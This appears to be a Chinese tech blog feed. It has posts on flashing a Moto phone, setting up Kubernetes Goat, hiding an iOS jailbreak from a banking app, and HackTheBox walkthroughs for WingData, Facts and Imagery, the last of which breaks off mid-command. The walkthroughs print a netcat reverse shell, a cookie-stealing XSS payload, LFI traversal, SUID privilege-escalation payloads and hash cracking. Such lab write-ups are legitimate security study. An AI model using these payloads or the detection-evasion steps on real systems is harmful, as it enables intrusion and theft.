相忘于江湖 人生天地之间，若白驹之过隙，忽然而已 2026-04-13T06:41:13.995Z https://ry0ma24.github.io/ Ry0ma24 Hexo Moto edge 60 解锁刷机 https://ry0ma24.github.io/posts/29579189.html 2026-04-13T06:27:00.000Z 2026-04-13T06:41:13.995Z .lxuztgmjssee{zoom:50%;}moto edge 60

环境配置

  1. 手机打开开发者选项：【设置】->【关于本机】 ->【设备标识符】-> 【版本号】，连续点击7次 开启【开发者选项】，进入【设置】-> 【系统】->【开发者选项】打开【USB调试】，打开【OEM解锁】

  2. 退出谷歌账号(重要)

  3. 安装摩托罗拉驱动：访问 https://en-us.support.motorola.com/app/usb-drivers 下载驱动并安装

  4. 下载并解压 【Tiny-Fastboot-Script_v1.10.6_zh-CN_by_AlphaEva】

解锁Bootloader

使用原装数据线连接电脑，关机状态下按住【音量下键】插数据线，进入Bootloader模式

进入Tiny-Fastboot-Script，双击运行flash.bat，选择【8】，再选择【4】获取解锁码

复制解锁数据，然后选【1】打开解锁官网

使用谷歌账号登录，将复制的解锁数据贴进去，点击【Can my device be unlocked】，如果提示not qualify ，删除粘贴数据前后的空格，再请求一次即可。接受同意，然后按照步骤操作，成功后解锁码会发送到邮箱

返回到Tiny-Fastboot-Script 选【4】，按照提示将解锁码贴进去解锁即可，手机提示，音量键 选择 UNLOCK THE BOOTLOADER ，电源键确定解锁

刷机

解压刷机包，将所有文件都移动到Tiny-Fastboot-Script 目录下

运行flash.bat 选择 【5】全量刷入，等待几分钟刷机完毕

切换软件更新通道

切换欧版

fastboot oem config carrier reteu

开机

可以正常接收到修改后的渠道更新

微信图片_20250912212307_96_122微信图片_20250912212306_95_122微信图片_20250912214648_98_122]]> <style>.lxuztgmjssee{zoom:50%;}</style><img src="/posts/29579189/image-20260413144029294.png" class="lxuztgmjssee" alt="moto edge 60"> kubernetes-goat靶机搭建 https://ry0ma24.github.io/posts/d0b064d0.html 2026-04-13T05:57:05.000Z 2026-04-13T06:13:31.131Z .nzmdxszviisu{zoom:50%;}kubernetes-goat

环境

应用版本
RockyLinux10.1
Docker29.4.0
minikube1.38.1
helm4.1.4

docker

单机版的K8s 需要用docker

[root@localhost ~]# dnf -y install dnf-plugins-core git[root@localhost ~]# dnf config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo[root@localhost ~]# dnf install docker-ce docker-ce-cli  docker-buildx-plugin docker-compose-plugin[root@localhost ~]# systemctl start docker [root@localhost ~]# docker infoClient: Docker Engine - Community Version:    29.4.0 Context:    default Debug Mode: false Plugins:<...>[root@localhost ~]# systemctl enable docker  //设置开机自启

minikube

安装minikube

[root@localhost ~]# curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-latest.x86_64.rpm[root@localhost ~]# rpm -Uvh minikube-latest.x86_64.rpm

启动minikube

[root@localhost ~]# minikube start --force😄  minikube v1.38.1 on Rocky 10.1❗  minikube skips various validations when --force is supplied; this may lead to unexpected behavior✨  Automatically selected the docker driver. Other choices: ssh, none🛑  The "docker" driver should not be used with root privileges. If you wish to continue as root, use --force.💡  If you are running minikube within a VM, consider using --driver=none:📘    https://minikube.sigs.k8s.io/docs/reference/drivers/none/❗  Starting v1.39.0, minikube will default to "containerd" container runtime. See #21973 for more info.📌  Using Docker driver with root privileges👍  Starting "minikube" primary control-plane node in "minikube" cluster🚜  Pulling base image v0.0.50 ...💾  Downloading Kubernetes v1.35.1 preload ...    > preloaded-images-k8s-v18-v1...:  272.45 MiB / 272.45 MiB  100.00% 5.76 Mi    > gcr.io/k8s-minikube/kicbase...:  519.58 MiB / 519.58 MiB  100.00% 4.66 Mi🔥  Creating docker container (CPUs=2, Memory=3072MB) ...🐳  Preparing Kubernetes v1.35.1 on Docker 29.2.1 ...🔗  Configuring bridge CNI (Container Networking Interface) ...🔎  Verifying Kubernetes components...    ▪ Using image gcr.io/k8s-minikube/storage-provisioner:v5🌟  Enabled addons: storage-provisioner, default-storageclass💡  kubectl not found. If you need it, try: 'minikube kubectl -- get pods -A'🏄  Done! kubectl is now configured to use "minikube" cluster and "default" namespace by default

查看minikube 状态

[root@localhost  ~]# minikube kubectl -- get pods -A    > kubectl.sha256:  64 B / 64 B [-------------------------] 100.00% ? p/s 0s    > kubectl:  55.88 MiB / 55.88 MiB [-------------] 100.00% 9.87 MiB p/s 5.9sNAMESPACE     NAME                               READY   STATUS    RESTARTS      AGEkube-system   coredns-7d764666f9-lq6vl           1/1     Running   0             76skube-system   etcd-minikube                      1/1     Running   0             82skube-system   kube-apiserver-minikube            1/1     Running   0             82skube-system   kube-controller-manager-minikube   1/1     Running   0             82skube-system   kube-proxy-xmq5q                   1/1     Running   0             77skube-system   kube-scheduler-minikube            1/1     Running   0             82skube-system   storage-provisioner                1/1     Running   1 (46s ago)   81

配置kubectl

kubernetes-goat 需要使用kubectl，但是minikube使用 kubectl 命令为 minikube kubectl ，做个软链接即可

[root@localhost kubernetes-goat]# ln -s $(which minikube) /usr/local/bin/kubectl

helm

[root@localhost ~]# curl https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-4 | bash  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                 Dload  Upload   Total   Spent    Left  Speed100 11929  100 11929    0     0  17516      0 --:--:-- --:--:-- --:--:-- 17516Downloading https://get.helm.sh/helm-v4.1.4-linux-amd64.tar.gzVerifying checksum... Done.Preparing to install helm into /usr/local/binhelm installed into /usr/local/bin/helm

kubernetes-goat

安装

第一次安装会报错 The Deployment “health-check-deployment” is invalid: spec.template.spec.initContainers[0].volumeMounts[1].name: Not found: “socket-link”

[root@localhost kubernetes-goat]# ./setup-kubernetes-goat.sh kubectl setup looks good.deploying insecure super admin scenarioserviceaccount/superadmin unchangedclusterrolebinding.rbac.authorization.k8s.io/superadmin unchangeddeploying helm chart metadata-db scenarioNAME: metadata-dbLAST DEPLOYED: Sun Apr 12 01:42:54 2026NAMESPACE: defaultSTATUS: deployedREVISION: 1DESCRIPTION: Install completeNOTES:1. Get the application URL by running these commands:  export POD_NAME=$(kubectl get pods --namespace default -l "app.kubernetes.io/name=metadata-db,app.kubernetes.io/instance=metadata-db" -o jsonpath="{.items[0].metadata.name}")  echo "Visit http://127.0.0.1:8080 to use your application"  kubectl port-forward $POD_NAME 8080:80deploying the vulnerable scenarios manifestsjob.batch/batch-check-job unchangeddeployment.apps/build-code-deployment unchangedservice/build-code-service unchangednamespace/secure-middleware unchangedservice/cache-store-service unchangeddeployment.apps/cache-store-deployment unchangedservice/health-check-service unchangedThe Deployment "health-check-deployment" is invalid: spec.template.spec.initContainers[0].volumeMounts[1].name: Not found: "socket-link"namespace/big-monolith unchangedrole.rbac.authorization.k8s.io/secret-reader unchangedrolebinding.rbac.authorization.k8s.io/secret-reader-binding unchangedserviceaccount/big-monolith-sa unchangedsecret/vaultapikey unchangedsecret/webhookapikey unchangeddeployment.apps/hunger-check-deployment unchangedservice/hunger-check-service unchangeddeployment.apps/internal-proxy-deployment unchangedservice/internal-proxy-api-service unchangedservice/internal-proxy-info-app-service unchangeddeployment.apps/kubernetes-goat-home-deployment unchangedservice/kubernetes-goat-home-service unchangeddeployment.apps/poor-registry-deployment unchangedservice/poor-registry-service unchangedsecret/goatvault unchangeddeployment.apps/system-monitor-deployment unchangedservice/system-monitor-service unchangedjob.batch/hidden-in-layers unchangedSuccessfully deployed Kubernetes Goat. Have fun learning Kubernetes Security!Ensure pods are in running status before running access-kubernetes-goat.sh scriptNow run the bash access-kubernetes-goat.sh to access the Kubernetes Goat environment.

问题解决

[root@localhost ~]# cd /root/kubernetes-goat/scenarios/health-check[root@localhost ~]# sed -i '/socket-link/d' deployment.yaml [root@localhost kubernetes-goat]# helm list --all-namespacesNAME            NAMESPACE       REVISION        UPDATED                                 STATUS      CHART                    APP VERSIONmetadata-db     default         1               2026-04-12 01:42:54.41527795 +0800 CST  deployed    metadata-db-0.1.0        1.0        [root@localhost kubernetes-goat]# helm uninstall metadata-db //卸载残留文件release "metadata-db" uninstalled[root@localhost kubernetes-goat]# ./setup-kubernetes-goat.sh  //重新安装kubectl setup looks good.deploying insecure super admin scenarioserviceaccount/superadmin unchangedclusterrolebinding.rbac.authorization.k8s.io/superadmin unchangeddeploying helm chart metadata-db scenarioNAME: metadata-dbLAST DEPLOYED: Sun Apr 12 01:49:55 2026NAMESPACE: defaultSTATUS: deployedREVISION: 1DESCRIPTION: Install completeNOTES:1. Get the application URL by running these commands:  export POD_NAME=$(kubectl get pods --namespace default -l "app.kubernetes.io/name=metadata-db,app.kubernetes.io/instance=metadata-db" -o jsonpath="{.items[0].metadata.name}")  echo "Visit http://127.0.0.1:8080 to use your application"  kubectl port-forward $POD_NAME 8080:80deploying the vulnerable scenarios manifestsjob.batch/batch-check-job unchangeddeployment.apps/build-code-deployment unchangedservice/build-code-service unchangednamespace/secure-middleware unchangedservice/cache-store-service unchangeddeployment.apps/cache-store-deployment unchangeddeployment.apps/health-check-deployment unchangedservice/health-check-service unchangednamespace/big-monolith unchangedrole.rbac.authorization.k8s.io/secret-reader unchangedrolebinding.rbac.authorization.k8s.io/secret-reader-binding unchangedserviceaccount/big-monolith-sa unchangedsecret/vaultapikey unchangedsecret/webhookapikey unchangeddeployment.apps/hunger-check-deployment unchangedservice/hunger-check-service unchangeddeployment.apps/internal-proxy-deployment unchangedservice/internal-proxy-api-service unchangedservice/internal-proxy-info-app-service unchangeddeployment.apps/kubernetes-goat-home-deployment unchangedservice/kubernetes-goat-home-service unchangeddeployment.apps/poor-registry-deployment unchangedservice/poor-registry-service unchangedsecret/goatvault unchangeddeployment.apps/system-monitor-deployment unchangedservice/system-monitor-service unchangedjob.batch/hidden-in-layers unchangedSuccessfully deployed Kubernetes Goat. Have fun learning Kubernetes Security!Ensure pods are in running status before running access-kubernetes-goat.sh scriptNow run the bash access-kubernetes-goat.sh to access the Kubernetes Goat environment.

端口转发

[root@localhost kubernetes-goat]# chmod +x access-kubernetes-goat.sh [root@localhost kubernetes-goat]# ./access-kubernetes-goat.sh kubectl setup looks good.Creating port forward for all the Kubernetes Goat resources to locally. We will be using 1230 to 1236 ports locally!Visit http://127.0.0.1:1234 to get started with your Kubernetes Goat hacking![root@localhost kubernetes-goat]# systemctl stop firewalld

搭建完成

]]> <style>.nzmdxszviisu{zoom:50%;}</style><img src="/posts/d0b064d0/image-20260413140159229.png" class="nzmdxszviisu" alt="kubernetes-goat"> HTB-WingData https://ry0ma24.github.io/posts/1888ae71.html 2026-04-10T13:36:30.000Z 2026-04-10T13:38:54.715Z .pfbnbkdvnbsn{zoom:50%;}htb-wingdata
OSDifficulty
LinuxEasy

Nmap Scan

$ nmap 10.129.17.131 -sV -Pn --min-rate 1000Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-10 19:41 CSTNmap scan report for 10.129.17.131Host is up (0.22s latency).Not shown: 998 filtered tcp ports (no-response)PORT   STATE SERVICE VERSION22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)80/tcp open  http    Apache httpd 2.4.66Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 13.98 seconds

添加本地域名解析

$ echo '10.129.17.131 wingdata.htb' | sudo tee -a /etc/hosts

信息收集

访问80端口，右上角能获取到新的域名ftp.wingdata.htb，将新的域名添加本地解析

$ echo '10.129.17.131 ftp.wingdata.htb' | sudo tee -a /etc/hosts

访问新链接，获取到cms 信息

RCE

根据获取到的版本检索到漏洞利用脚本 https://www.exploit-db.com/exploits/52347 ，反弹shell

$ python3 2025-47812.py -u http://ftp.wingdata.htb -c whoami[*] Testing target: http://ftp.wingdata.htb[+] Sending POST request to http://ftp.wingdata.htb/loginok.html with command: 'whoami' and username: 'anonymous'[+] UID extracted: d9e5466a599aa92011286a19e609424ff528764d624db129b32c21fbca0cb8d6[+] Sending GET request to http://ftp.wingdata.htb/dir.html with UID: d9e5466a599aa92011286a19e609424ff528764d624db129b32c21fbca0cb8d6--- Command Output ---wingftp----------------------$ python3 2025-47812.py -u http://ftp.wingdata.htb -c "nc 10.10.16.49 7777 -e /bin/bash"                                         [*] Testing target: http://ftp.wingdata.htb[+] Sending POST request to http://ftp.wingdata.htb/loginok.html with command: 'nc 10.10.16.49 7777 -e /bin/bash' and username: 'anonymous'[+] UID extracted: 7d6e33a332dab18457f0feca7265825bf528764d624db129b32c21fbca0cb8d6[+] Sending GET request to http://ftp.wingdata.htb/dir.html with UID: 7d6e33a332dab18457f0feca7265825bf528764d624db129b32c21fbca0cb8d6

GetShell

$ nc -lvnp 7777                             Listening on 0.0.0.0 7777Connection received on 10.129.17.131 53468ifconfigeth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500        inet 10.129.17.131  netmask 255.255.0.0  broadcast 10.129.255.255        ether 00:50:56:b9:49:65  txqueuelen 1000  (Ethernet) <...>python3 -c 'import pty;pty.spawn("/bin/bash")'wingftp@wingdata:/opt/wftpserver$ ls /home wackywingftp@wingdata:/opt/wftpserver$ <...>wingftp@wingdata:/opt/wftpserver/Data/1/users$ lsanonymous.xml  john.xml  maria.xml  steve.xml  wacky.xml

密码破解

在目录/opt/wftpserver/Data/1/users 中wacky.xml中可以获取到wacky 密码

使用hashcat 破解密码

$ echo '32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP' > pass.txt$ hashcat -m 1410  pass.txt  /opt/secLists/rockyou.txt                                      hashcat (v6.2.6) startingOpenCL API (OpenCL 3.0 PoCL 5.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]==================================================================================================================================================* Device #1: cpu-skylake-avx512-AMD Ryzen 7 8745HS w/ Radeon 780M Graphics, 14630/29324 MB (4096 MB allocatable), 16MCU<...>Dictionary cache hit:* Filename..: /opt/secLists/rockyou.txt* Passwords.: 14344384* Bytes.....: 139921497* Keyspace..: 14344384Approaching final keyspace - workload adjusted.           32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Bxxxxxxxxxxxxxxxxxride5<...>

SSH

使用破解出的密码登录ssh

$ ssh wacky@wingdata.htb                   The authenticity of host 'wingdata.htb (10.129.17.131)' can't be established.<...>Last login: Fri Apr 10 09:05:47 2026 from 10.10.16.49wacky@wingdata:~$ lsuser.txt

权限提升

sudo -l 发现python 备份脚本，其中tarfile 库存在漏洞

wacky@wingdata:~$ sudo -lMatching Defaults entries for wacky on wingdata:    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_ptyUser wacky may run the following commands on wingdata:    (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

检索到漏洞利用脚本https://github.com/AzureADTrent/CVE-2025-4517-POC 上传到目标机器，运行可直接提权

wacky@wingdata:/tmp$ python3 CVE-2025-4517-POC.py ╔═══════════════════════════════════════════════════════════╗║     CVE-2025-4517 Tarfile Exploit                         ║║     Privilege Escalation via Symlink + Hardlink Bypass    ║╚═══════════════════════════════════════════════════════════╝    [*] Target user: wacky[*] Creating exploit tar for user: wacky[*] Phase 1: Building nested directory structure...[*] Phase 2: Creating symlink chain for path traversal...[*] Phase 3: Creating escape symlink to /etc...[*] Phase 4: Creating hardlink to /etc/sudoers...[*] Phase 5: Writing sudoers entry...[+] Exploit tar created: /tmp/cve_2025_4517_exploit.tar[*] Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar[+] Exploit deployed successfully[*] Triggering extraction via vulnerable script...[+] Backup: backup_9999.tar[+] Staging directory: /opt/backup_clients/restored_backups/restore_pwn_9999[+] Extraction completed in /opt/backup_clients/restored_backups/restore_pwn_9999[+] Extraction completed[*] Verifying exploit success...[+] SUCCESS! User 'wacky' added to sudoers[+] Entry: wacky ALL=(ALL) NOPASSWD: ALL============================================================[+] EXPLOITATION SUCCESSFUL![+] User 'wacky' now has full sudo privileges[+] Get root with: sudo /bin/bash============================================================[?] Spawn root shell now? (y/n): y[*] Spawning root shell...[*] Run: sudo /bin/bashbash: warning: setlocale: LC_ALL: cannot change locale (zh_CN.UTF-8)root@wingdata:/tmp# iduid=0(root) gid=0(root) groups=0(root)
FlagPath
flag1/home/wacky/user.txt
flag2/root/root.txt
]]> <style>.pfbnbkdvnbsn{zoom:50%;}</style><img src="/posts/1888ae71/d419202507a3bbf06e764c1c4a524f66.png" class="pfbnbkdvnbsn" alt="htb-wingdata"> iOS越狱隐藏 https://ry0ma24.github.io/posts/6d3db75c.html 2026-04-10T07:12:00.000Z 2026-04-10T07:26:11.021Z .iwhubrlyifqg{zoom:50%;}越狱

安装GTA Car Tracker

使用safari浏览器访问 https://api.jailbreaks.app/troll64e ，弹出iTunes 打开，点击打开，选择安装

IMG_0003IMG_0004IMG_0005IMG_0006

安装TrollStore

打开GTA Car Tracker 安装 TrollStore

IMG_0007IMG_0008

打开TrollStore 安装Idid，Persistence Helper (可选，安装后重启TrollStore不失效)

IMG_0010

安装RootHide Dopamine

访问 https://github.com/roothide/Dopamine2-roothide 下载最新版的 Dopamine.tipa 放到iPhone 的Download 目录下然后使用TrollStore安装；打开TrollStore，右上角 “+” ，选中要安装的Dopamine.tipa ，然后安装

IMG_0011

越狱和隐藏越狱

打开Dopamine，然后点击最下面越狱，选择安装Sileo或者全选，越狱完成，桌面会出现RootHide (如果没有可以到Sileo 里搜索安装)

IMG_0012IMG_0013

打开RootHide，点击var 清理，左上角选择全部，点击右上角清理

IMG_0014

效果

重新下载安装app，并将app 加入黑名单；使用某银行app测试效果；

未打开黑名单无法正常使用 app

image-20260205144231485IMG_0017

打开黑名单后app正常

image-20260205144409713IMG_0019]]> <style>.iwhubrlyifqg{zoom:50%;}</style><img src="/posts/6d3db75c/image-20260410151632410.png" class="iwhubrlyifqg" alt="越狱"> HTB-Facts https://ry0ma24.github.io/posts/a66eeeb7.html 2026-04-09T05:49:00.000Z 2026-04-10T06:47:10.481Z .zngyoikexpri{zoom:50%;}HTB-facts
OSDifficulty
LinuxEasy

Nmap Scan

$ nmap 10.129.16.180 -sV -Pn     Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-09 13:42 CSTNmap scan report for 10.129.16.180Host is up (0.13s latency).Not shown: 997 closed tcp ports (conn-refused)PORT   STATE SERVICE VERSION22/tcp open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)53/tcp open  domain  Unbound80/tcp open  http    nginx 1.26.3 (Ubuntu)Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 27.51 seconds

添加本地解析

$ echo '10.129.16.180 facts.htb' | sudo tee -a /etc/hosts

FFUF Scan

枚举目录，发现admin 

$ ffuf -w /opt/secLists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u 'http://facts.htb/FUZZ' -ic -t 100         /'___\  /'___\           /'___\              /\ \__/ /\ \__/  __  __  /\ \__/              \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\              \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/               \ \_\   \ \_\  \ \____/  \ \_\                 \/_/    \/_/   \/___/    \/_/              v2.1.0-dev________________________________________________ :: Method           : GET :: URL              : http://facts.htb/FUZZ :: Wordlist         : FUZZ: /opt/secLists/Discovery/Web-Content/directory-list-2.3-medium.txt :: Follow redirects : false :: Calibration      : false :: Timeout          : 10 :: Threads          : 100 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500________________________________________________index                   [Status: 200, Size: 11113, Words: 1328, Lines: 125, Duration: 422ms]<...>admin                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 4170ms]post                    [Status: 200, Size: 11308, Words: 1414, Lines: 152, Duration: 7738ms]ajax                    [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 4216ms]<...>

访问admin 发现后台

注册账号试试，发现可以注册并且登录

信息收集

登录后台可以找到cms 信息和版本，根据信息检索到 https://github.com/afifudinmtop/Camaleon-CMS-2.9.0-Vuln 有两个CVE CVE-2025-2304和CVE-2024-46987

LFI (CVE-2024-46987 )

使用burp 请求 admin/media/download_private_file?file=../../../../../../etc/passwd可以获取到/etc/passwd，通过LFI可以直接读取flag

权限提升(CVE CVE-2025-2304)

点击”Change Password”, 输入新密码，抓包，添加&password[role]=admin ，之后刷新页面，可以看到提升到管理员后台

在后台配置中可以找到AWS 的密钥配置

SSH 登录

安装aws curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"

配置aws 并连接，在.ssh 目录下可以获取到 id_ed25519

$ aws configure                                                             Tip: You can deliver temporary credentials to the AWS CLI using your AWS Console session by running the command 'aws login'.AWS Access Key ID [None]: AKIA9......FAD15D5AWS Secret Access Key [None]: ZrwidjEG......y5v1gCextPZRLWUDefault region name [None]: us-east-1Default output format [None]: $ aws s3 ls --endpoint-url http://facts.htb:54321                          2025-09-11 20:06:52 internal2025-09-11 20:06:52 randomfacts$ aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321                             PRE .bundle/                           PRE .cache/                           PRE .ssh/2026-01-09 02:45:13        220 .bash_logout2026-01-09 02:45:13       3900 .bashrc2026-01-09 02:47:17         20 .lesshst2026-01-09 02:47:17        807 .profile$ aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321  2026-04-09 13:40:07         82 authorized_keys2026-04-09 13:40:07        464 id_ed25519$ aws s3 cp s3://internal/.ssh/id_ed25519 --endpoint-url http://facts.htb:54321 ./id_ed25519 download: s3://internal/.ssh/id_ed25519 to ./id_ed25519

使用john 破解id_ed25519 并使用trivia 账号登录成功，trivia账号在/etc/passwd 文件中获取

$python3 ssh2john.py id_ed25519 ssh.hash$./john --wordlist=/opt/secLists/rockyou.txt ssh.hash Using default input encoding: UTF-8Loaded 1 password hash (SSH, SSH private key [MD5/bcrypt-pbkdf/[3]DES/AES 32/64])Cost 1 (KDF/cipher [0:MD5/AES 1:MD5/[3]DES 2:bcrypt-pbkdf/AES]) is 2 for all loaded hashesCost 2 (iteration count) is 24 for all loaded hashesWill run 16 OpenMP threadsPress 'q' or Ctrl-C to abort, 'h' for help, almost any other key for statusdragonballz      (id_ed25519)     1g 0:00:00:30 DONE (2026-04-09 15:22) 0.03327g/s 106.5p/s 106.5c/s 106.5C/s adriano..imissuUse the "--show" option to display all of the cracked passwords reliablySession completed$ chmod 600 id_ed25519                                                                                      $ ssh -i id_ed25519 trivia@facts.htb Enter passphrase for key 'id_ed25519':

权限提升

sudo -l 发现facter，通过检索 https://gtfobins.org/gtfobins/facter/ 发现目录底下第一个ruby 文件会被执行

trivia@facts:~$ sudo -lMatching Defaults entries for trivia on facts:    env_reset, mail_badpass,    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_ptyUser trivia may run the following commands on facts:    (ALL) NOPASSWD: /usr/bin/factertrivia@facts:~$ /usr/bin/facter -hUsage=====  facter [options] [query] [query] [...]Options=======           [--color]                      Enable color output.           [--no-color]                   Disable color output.        -c [--config]                     The location of the config file.           [--custom-dir]                 A directory to use for custom facts.        -d [--debug]                      Enable debug output.           [--external-dir]               A directory to use for external facts.           [--hocon]                      Output in Hocon format.      <...>        -h [--help]                       Help for all argumentstrivia@facts:~$  mkdir -p /tmp/exploittrivia@facts:~$  cd /tmp/exploit/trivia@facts:/tmp/exploit$ cat > /tmp/exploit_facts/exp.rb << 'EOF'#!/usr/bin/env rubysystem("chmod +s /bin/bash")EOFtrivia@facts:/tmp/exploit$ sudo /usr/bin/facter --custom-dir=/tmp/exploit/ xtrivia@facts:/tmp/exploit$ bash -pbash-5.2# cat /root/root.txt
FlagPath
flag1/home/william/user.txt
flag2/root/root.txt
]]> <style>.zngyoikexpri{zoom:50%;}</style><img src="/posts/a66eeeb7/bdcd209c32f156fbfb2268f099971f75.png" class="zngyoikexpri" alt="HTB-facts"> HTB-Imagery https://ry0ma24.github.io/posts/3872553c.html 2025-10-04T07:42:00.000Z 2025-10-04T09:36:03.932Z .bbgzyrhgkgfq{zoom:50%;}HTB-Imagery
OSDifficulty
LinuxMedium

Nmap Scan

$ nmap 10.10.11.88  -sV --min-rate 1000                                                                       Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-04 10:43 CSTWarning: 10.10.11.88 giving up on port because retransmission cap hit (10).Nmap scan report for 10.10.11.88Host is up (0.085s latency).Not shown: 995 closed tcp ports (conn-refused)PORT     STATE    SERVICE     VERSION22/tcp   open     ssh         OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)800/tcp  filtered mdbs_daemon1840/tcp filtered netopia-vo28000/tcp open     http-alt    Werkzeug/3.1.3 Python/3.12.79000/tcp open     http        SimpleHTTPServer 0.6 (Python 3.12.7)Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 106.94 seconds

XSS

访问8000端口，注册新账号并登录，点击“Report Bug”

输入payload ：<img src=x onerror="document.location='http://10.10.16.4:8000/'+document.cookie">，然后提交

本地接收到cookie

$ python3 -m http.server 8000Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...10.10.11.88 - - [04/Oct/2025 11:24:46] code 404, message File not found10.10.11.88 - - [04/Oct/2025 11:24:46] "GET /session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aOCNPw.MCFvc7DFwoC1SmjGMT5gr8Owsxo HTTP/1.1" 404 -10.10.11.88 - - [04/Oct/2025 11:24:46] code 404, message File not found

点击F12, 将cookie替换成xss 获取到的cookie，刷新页面出现’Admin Panel’

LFI

点击 Download Log 抓包，参数 log_identifier 存在本地文件包含漏洞

访问../db.json

将获取的密码 hash 进行破解

$ hashcat hash -a 0 -m 0  /opt/secLists/rockyou.txt  hashcat (v6.2.6) starting<......>Host memory required for this attack: 4 MBDictionary cache hit:* Filename..: /opt/secLists/rockyou.txt* Passwords.: 14344384* Bytes.....: 139921497* Keyspace..: 143443842c65c8d7bfbca32a3ed42596192384f6:iambatman

RCE

使用账号testuser@imagery.htb 和破解出的密码登录目标站点，随便上传一张图片，点击Transform Image

选择Crop，点击Apply Transformation , 抓包修改参数 y

反弹shell成功

$ nc -lvnp 7777                        Listening on 0.0.0.0 7777Connection received on 10.10.11.88 60086web@Imagery:~/web$ iduid=1001(web) gid=1001(web) groups=1001(web)

信息收集

在/var/backup 目录下有个web_20250806_120723.zip.aes 文件，使用file 命令查看信息，发现是pyAesCrypt 加密的文件

web@Imagery:/var/backup$ lsweb_20250806_120723.zip.aes$ file web_20250806_120723.zip.aes web_20250806_120723.zip.aes: AES encrypted data, version 2, created by "pyAesCrypt 6.1.1"

下载文件并使用脚本对文件进行破解，将压缩包中的db.json 密码hash提取出来破解

$ python3 pyAesCrack.py -e web.zip.aes -w pass.txt -o web.zip -p 4                [+] Working dir: /tmp/pyaescrack_work_zft_yh_i[+] Using 4 worker(s), bufferSize=65536[+] Password found: 'bestfriends'[+] Decrypted file saved to: web.zip
$ hashcat hash -a 0 -m 0  /opt/secLists/rockyou.txt                             hashcat (v6.2.6) starting<......>Dictionary cache hit:* Filename..: /opt/secLists/rockyou.txt* Passwords.: 14344384* Bytes.....: 139921497* Keyspace..: 1434438401c3d2e5bdaf6134cec0a367cf53e535:supersmash

切换mark 用户

web@Imagery:~/web$ su markPassword: supersmashmark@Imagery:~$ iduid=1002(mark) gid=1002(mark) groups=1002(mark)

权限提升

查看sudo 配置文件，发现/usr/local/bin/charcol 并且支持交互式shell

mark@Imagery:~$ sudo -lMatching Defaults entries for mark on Imagery:    env_reset, mail_badpass,    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,    use_ptyUser mark may run the following commands on Imagery:    (ALL) NOPASSWD: /usr/local/bin/charcol    mark@Imagery:~$ sudo /usr/local/bin/charcol -husage: charcol.py [--quiet] [-R] {shell,help} ...Charcol: A CLI tool to create encrypted backup zip files.positional arguments:  {shell,help}          Available commands    shell               Enter an interactive Charcol shell.    help                Show help message for Charcol or a specific command.options:  --quiet               Suppress all informational output, showing only                        warnings and errors.  -R, --reset-password-to-default                        Reset application password to default (requires system                        password verification).

使用charcol shell结合cron job进行提权，payload：auto add --schedule "* * * * *" --command "chmod 4755 /usr/bin/bash" --name "Set SUID Bash" --log-output "/home/mark/log.txt"

mark@Imagery:~$ sudo /usr/local/bin/charcol shell  ░██████  ░██                                                  ░██  ░██   ░░██ ░██                                                  ░██ ░██        ░████████   ░██████   ░██░████  ░███████   ░███████  ░██ ░██        ░██    ░██       ░██  ░███     ░██    ░██ ░██    ░██ ░██ ░██        ░██    ░██  ░███████  ░██      ░██        ░██    ░██ ░██  ░██   ░██ ░██    ░██ ░██   ░██  ░██      ░██    ░██ ░██    ░██ ░██   ░██████  ░██    ░██  ░█████░██ ░██       ░███████   ░███████  ░██                                                                                                                                                                                                             Charcol The Backup Suit - Development edition 1.0.0[2025-10-04 06:52:28] [INFO] Entering Charcol interactive shell. Type 'help' for commands, 'exit' to quit.charcol> auto add --schedule "* * * * *" --command "chmod 4755 /usr/bin/bash" --name "Set SUID Bash" --log-output 